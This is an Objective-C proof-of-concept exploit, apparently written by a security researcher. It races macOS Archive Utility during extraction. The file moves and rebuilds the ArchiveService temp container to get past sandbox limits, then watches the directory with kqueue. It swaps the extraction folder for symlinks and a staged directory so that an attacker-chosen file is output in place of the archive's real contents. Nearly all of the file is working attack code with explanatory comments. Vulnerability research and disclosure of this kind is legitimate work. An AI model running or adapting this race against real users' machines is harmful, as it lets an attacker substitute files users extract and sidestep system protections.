//
//  ArchiveUtilityRace.m
//  WorkflowKitSigningRace
//
//  Created by Snoolie Keffaber on 2024/04/11.
//

/*
 * Here, you should put the path to
 * the file that we're
 * going to intercept with the
 * archive to actually extract.
 */
#define PATH_TO_FILE_TO_ACTUALLY_OUTPUT "/Users/0xilis/Downloads/0/GitGub/WorkflowKit-Ent-Testing/AppleArchiveGatekeeperTest/Output.txt"

#import <Foundation/Foundation.h>

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/event.h>
#include <sys/time.h>
#include <errno.h>
#include <string.h>
#include <inttypes.h>

#include <dirent.h>
#include <sys/stat.h>
 
#define NUM_EVENT_SLOTS 1
#define NUM_EVENT_FDS 1
 
char *flagstring(int flags);

__attribute__((always_inline)) static void reconstruct_directory(const char *archiveServiceTempPath, const char *archiveServiceContainer, const char *exploitOnlyWorksIfWeDoThis, const char *oldJunkDirectory) {
    /*
     * We want to monitor TemporaryItems, but Sandbox
     * restricts us to not do so. It also prevents us
     * from deleting TemporaryItems. However, what
     * Sandbox does not prevent us from doing is
     * removing the entire (well here I'm just
     * moving it but still) directory that stores it:
     * com.apple.fileprovider.ArchiveService.
     * Then, we create com.apple.fileprovider.ArchiveService
     * ourselves, and and TemporaryItems.
     * Somehow, this is good enough for Archive Utility
     * to access and for Sandbox to not restrict us!
     *
     * (At least, I think Sandbox is what is restricting
     * it... this took forever to debug what went wrong
     * since it seemed like sometimes it would randomly
     * work and not. Eventually, I figured out that
     * upon Archive Utility creating it, opendir()
     * didn't work (albeit I could still write items
     * to the directory), but for some strange reason,
     * once I did stat -f "%OLp" on it to check for
     * file perms, it allowed opendir() after????
     * We don't want to need to tell the user to
     * run a command in the Terminal; that would
     * debatably be a result of a user error.
     * So, that's it, right? Race is useless?
     * Well, nope, because as I explained above,
     * we can't access TemporaryItems, but
     * we can access the ArchiveService container,
     * com.apple.fileprovider.ArchiveService, immediately
     * after it is created in Archive Utility. So I just
     * move it somewhere else, then create the directory
     * structure ourselves to make us able to opendir()
     * it and do our race. I'm not sure if this counts
     * as another vuln or not? Or if it's intended
     * for someone to be able to modify the main
     * container, even if it makes working around
     * TemporaryItems protection possible.)
    */

    rename(archiveServiceContainer, oldJunkDirectory);
    mkdir(archiveServiceContainer,0755);
    mkdir(exploitOnlyWorksIfWeDoThis,0755);
    remove(archiveServiceTempPath);
    symlink(exploitOnlyWorksIfWeDoThis, archiveServiceTempPath);
}
__attribute__((always_inline)) static void stage_0(const char *archiveServiceTempPath, const char * prestagedExploitOutputExternal, const char *redirectPath, const char *pathToSaveOldSymlink, const char *stage2path, const char *archiveServiceContainer, const char *exploitOnlyWorksIfWeDoThis, const char *oldJunkDirectory) {
    /* Stage 0 */
    /* Not part of actual race but just prepares us for it */
    reconstruct_directory(archiveServiceTempPath, archiveServiceContainer, exploitOnlyWorksIfWeDoThis, oldJunkDirectory);
    DIR *dir;
    struct dirent *ent;
    printf("archiveServiceTempPath: %s\n", archiveServiceTempPath);
    if ((dir = opendir(archiveServiceTempPath)) == 0) {
        fprintf(stderr, "ArchiveUtilityRace failed: opendir() in stage_0\n");
        printf("error is %s\n",strerror(errno));
        exit(1);
    }
    
    while ((ent = readdir(dir))) {
        const char *dirName= ent->d_name;
        if (dirName[0] == 'N') {
            closedir(dir);
            fprintf(stderr, "ArchiveUtilityRace failed: temp directory needs to be clean before PoC\n");
            exit(1);
        }
    }
    
    closedir(dir);
    
    mkdir(redirectPath, 0755);
    remove(pathToSaveOldSymlink);
    mkdir(stage2path, 0755);
    
    FILE *fp = fopen(prestagedExploitOutputExternal, "r");
    if (!fp) {
        fprintf(stderr,"ArchiveUtilityRace failed: could not read PATH_TO_FILE_TO_ACTUALLY_OUTPUT for stage_0\n");
        exit(1);
    }
    /*
     * We are going to intercept the
     * Output.txt of the output.
     * The PoC stores the file that will
     * in the end, actually be outputted
     * by Archive Utility when our race
     * works. We copy the file at
     * prestagedExploitOutputExternal
     * to the file in the temp dir,
     * prestagedExploitOutput.
    */
    const char *prestagedExploitOutput = [[NSString stringWithFormat:@"%s/Output.txt",stage2path]UTF8String];
    if (!access(prestagedExploitOutput, F_OK)) {
        /* File exists, delete it for new */
        remove(prestagedExploitOutput);
    }
    FILE *fp_writeTo = fopen(prestagedExploitOutput, "w");
    if (!fp_writeTo) {
        fprintf(stderr,"ArchiveUtilityRace failed: could not open prestagedExploitOutput for stage_0\n");
        exit(1);
    }
    /* copy prestagedExploitOutputExternal to prestagedExploitOutput */
    char c = fgetc(fp);
    while (c != EOF) {
        fputc(c, fp_writeTo);
        c = fgetc(fp);
    }
    fclose(fp);
    fclose(fp_writeTo);
    printf("stage_0 done\n");
}

__attribute__((always_inline)) static void stage_1(const char *path, const char *redirectPath) {
    /* Stage 1 */
    remove(path);
    symlink(redirectPath,path);
}

__attribute__((always_inline)) static void stage_2(const char *path, const char *pathToSaveOldSymlink, const char *stage2path) {
    /* Stage 2 */
    rename(path, pathToSaveOldSymlink);
    /* Replace with Stage2_Directory path. */
    rename(stage2path,path);
    printf("stage 2 done\n");
}

void loop_until_stage_2(const char *directory, const char *pathToSaveOldSymlink, const char *stage2path) {
    const char *archiveTempOutput = [[NSString stringWithFormat:@"%s/Output.txt",directory]UTF8String];
#define SPAM_ACCESS_CALL 1000000
    for (unsigned int i = 0; i < SPAM_ACCESS_CALL; i++) {
        /* AAExtractArchive should be writing to the symlink at the time anyway to hopefully this is fine */
        if (!access(archiveTempOutput, F_OK)) {
            stage_2(directory, pathToSaveOldSymlink, stage2path);
            NSLog(@"stage 2 finished!!");
            return;
        }
    }
    printf("finished loop\n");
    NSLog(@"stage_2 failed to trigger");
}

void cleanup(const char *path) {
    /* Wait 5 seconds to ensure extraction completed */
    sleep(5);
    
    /* Cleanup after exploit */
    DIR *dir;
    struct dirent *ent;
    if ((dir = opendir(path)) == 0) {
        fprintf(stderr, "ArchiveUtilityRace failed: opendir() in cleanup??\n");
        return;
    }
    
    while ((ent = readdir(dir))) {
        const char *dirName= ent->d_name;
        if (dirName[0] == 'N') {
            /* assume dir is for temp extraction and remove it */
            printf("ArchiveUtilityRace removing: %s\n",dirName);
            remove(dirName);
        }
    }
    
    closedir(dir);
    printf("ArchiveUtilityRace cleanup done\n");
}
 
int main(int argc, char *argv[]) {
    printf("start\n");

    if (access(PATH_TO_FILE_TO_ACTUALLY_OUTPUT, F_OK)) {
        printf("ArchiveUtilityRace: cannot run, you need to create the Output.txt file that will actually be outputted by Archive Utility.\n");
        printf("ArchiveUtilityRace: please create the file to %s\n", PATH_TO_FILE_TO_ACTUALLY_OUTPUT);
        printf("ArchiveUtilityRace: or, change PATH_TO_FILE_TO_ACTUALLY_OUTPUT to point where you have the Output.txt file, and re-compile.\n");
    }
    
    /* Get temp path */
    NSString *tempDir = NSTemporaryDirectory();
    if (!tempDir) {
        fprintf(stderr,"ArchiveUtilityRace failed: could not get temporary directory\n");
        return -1;
    }
    NSString *archiveServiceBundleId;
    if (@available(macOS 13, *)) {
        /* macOS Sonoma */
        if (@available(macOS 14, *)) {
            
        } else {
            /* macOS Ventura, or a future version */
            printf("poc is only tested on Sonoma and Monterey.\n");
        }
        archiveServiceBundleId = @"com.apple.desktopservices.ArchiveService";
    } else {
        /* macOS Monterey */
        archiveServiceBundleId = @"com.apple.fileprovider.ArchiveService";
    }
    NSString *archiveServiceContainerPath = [tempDir stringsByAppendingPaths:@[archiveServiceBundleId]][0];
    const char *archiveServiceContainer = [archiveServiceContainerPath fileSystemRepresentation];
    NSArray *paths = [archiveServiceContainerPath stringsByAppendingPaths:@[@"TemporaryItems"]];
    
    NSString *archiveServiceTempPath = paths[0];
    NSArray *pathsToDirsForRace = [archiveServiceTempPath stringsByAppendingPaths:@[@"RedirectExtractionToHere",@"Stage2_Directory",@"OldJunkSymlink"]];
    
    NSString *redirectPathString = pathsToDirsForRace[0];
    NSString *stage2PathString = pathsToDirsForRace[1];
    NSString *oldJunkSymlinkPathString = pathsToDirsForRace[2];
    
    NSLog(@"redirectPath %@",redirectPathString);
    NSLog(@"stage2Path %@",stage2PathString);
    NSLog(@"oldJunkSymlink %@",oldJunkSymlinkPathString);
    
    const char *redirectPath = [redirectPathString fileSystemRepresentation];
    const char *stage2Path = [stage2PathString fileSystemRepresentation];
    const char *oldJunkSymlinkPath = [oldJunkSymlinkPathString fileSystemRepresentation];
    const char *path = [archiveServiceTempPath fileSystemRepresentation];
    
    const char *pathToOriginalOutput = [[NSString stringWithFormat:@"%s/Output.txt",redirectPath]UTF8String];
    
    remove(pathToOriginalOutput);
    
    /* Prepare for exploit */
    const char *exploitOnlyWorksIfWeDoThis = [[archiveServiceContainerPath stringsByAppendingPaths:@[@"RedirectExtractionToHere"]][0] fileSystemRepresentation];
    NSString *randomCharacters = [[[NSUUID UUID] UUIDString]substringToIndex:8];
    NSString *nameOfOldStoreContainer = [NSString stringWithFormat:@"%@.old-%@", archiveServiceBundleId,randomCharacters];
    const char *oldArchiveServiceContainer = [[tempDir stringsByAppendingPaths:@[nameOfOldStoreContainer]][0] fileSystemRepresentation];

    stage_0(path,PATH_TO_FILE_TO_ACTUALLY_OUTPUT, redirectPath, oldJunkSymlinkPath, stage2Path, archiveServiceContainer, exploitOnlyWorksIfWeDoThis, oldArchiveServiceContainer);
    
    int kq;
    int event_fd;
    struct kevent events_to_monitor[NUM_EVENT_FDS];
    struct kevent event_data[NUM_EVENT_SLOTS];
    struct timespec timeout;
    unsigned int vnode_events;
    
    /* Ugly hack */
    chdir(path);
 
    /* Open a kernel queue. */
    if ((kq = kqueue()) < 0) {
        fprintf(stderr, "Could not open kernel queue. Error was %s.\n", strerror(errno));
        exit(1);
    }
 
    /* Open shortcuts temp dir */
    event_fd = open(path, O_EVTONLY);
    if (event_fd <= 0) {
        fprintf(stderr, "The file %s could not be opened for monitoring. Error was %s.\n", path, strerror(errno));
        exit(1);
    }
 
    /* Set the timeout to wake us every half second for first iteration. */
    timeout.tv_sec = 0;        // 0 seconds
    timeout.tv_nsec = 500000000;    // 500 milliseconds
 
    /* Set up a list of events to monitor. */
    vnode_events = NOTE_DELETE |  NOTE_WRITE | NOTE_EXTEND |                            NOTE_ATTRIB | NOTE_LINK | NOTE_RENAME | NOTE_REVOKE;
    EV_SET( &events_to_monitor[0], event_fd, EVFILT_VNODE, EV_ADD | EV_CLEAR, vnode_events, 0, 0);
    
    /* Handle events. */
    int alreadyDidStage2 = 0;
    int continue_loop = 40000; /* Monitor for twenty seconds. */
    while (--continue_loop) {
        int event_count = kevent(kq, events_to_monitor, NUM_EVENT_SLOTS, event_data, 1, &timeout);
        if ((event_count < 0) || (event_data[0].flags == EV_ERROR)) {
            /* An error occurred. */
            fprintf(stderr, "An error occurred (event count %d).  The error was %s.\n", event_count, strerror(errno));
            break;
        }
        if (event_count) {
            printf("Event %" PRIdPTR " occurred.  Filter %d, flags %d, filter flags %s, filter data %" PRIdPTR ", path %s\n",
                event_data[0].ident,
                event_data[0].filter,
                event_data[0].flags,
                flagstring(event_data[0].fflags),
                event_data[0].data,
                (char *)event_data[0].udata);
            
            DIR *dir;
            struct dirent *ent;
            if ((dir = opendir(path)) == 0) {
                fprintf(stderr, "opendir() failed\n");
                close(event_fd);
                exit(-1);
            }
            
            while ((ent = readdir(dir))) {
                const char *dirName= ent->d_name;
                /* bad assumption for NSIRD_ArchiveService_ */
                if (dirName[0] == 'N') {
                    printf("%s: \n",dirName);
                    if (!alreadyDidStage2) {
                        /* Stage 1 */
                        const char *extractionTemporaryPath = [[NSString stringWithFormat:@"%s/%s",path,dirName]UTF8String];
                        stage_1(extractionTemporaryPath, redirectPath);
                        loop_until_stage_2(extractionTemporaryPath, oldJunkSymlinkPath, stage2Path);
                        alreadyDidStage2 = 1;
                        if (access(pathToOriginalOutput, F_OK)) {
                            fprintf(stderr,"ArchiveUtilityRace failed: stage_1 was too slow\n");
                            closedir(dir);
                            close(event_fd);
                            exit(1);
                        }
                        cleanup(path);
                        closedir(dir);
                        close(event_fd);
                        printf("ArchiveUtilityRace: stopped\n");
                        return 0;
                    }
                }
            }
            closedir(dir);
        }
 
        /* Reset the timeout.  In case of a signal interrruption, the
           values may change. */
        timeout.tv_sec = 0;        // 0 seconds
        timeout.tv_nsec = 500000;    // 0.5 milliseconds
    }
    close(event_fd);
    printf("ArchiveUtilityRace: stage_1 timeout\n");
    printf("ArchiveUtilityRace: the PoC only runs for 15/20 seconds. Restart it and extract an archive while the PoC is running if you did not do so.\n");
    return 0;
}
 
/* A simple routine to return a string for a set of flags. */
char *flagstring(int flags)
{
    static char ret[512];
    char *or = "";
 
    ret[0]='\0'; // clear the string.
    if (flags & NOTE_DELETE) {strcat(ret,or);strcat(ret,"NOTE_DELETE");or="|";}
    if (flags & NOTE_WRITE) {strcat(ret,or);strcat(ret,"NOTE_WRITE");or="|";}
    if (flags & NOTE_EXTEND) {strcat(ret,or);strcat(ret,"NOTE_EXTEND");or="|";}
    if (flags & NOTE_ATTRIB) {strcat(ret,or);strcat(ret,"NOTE_ATTRIB");or="|";}
    if (flags & NOTE_LINK) {strcat(ret,or);strcat(ret,"NOTE_LINK");or="|";}
    if (flags & NOTE_RENAME) {strcat(ret,or);strcat(ret,"NOTE_RENAME");or="|";}
    if (flags & NOTE_REVOKE) {strcat(ret,or);strcat(ret,"NOTE_REVOKE");or="|";}
 
    return ret;
}
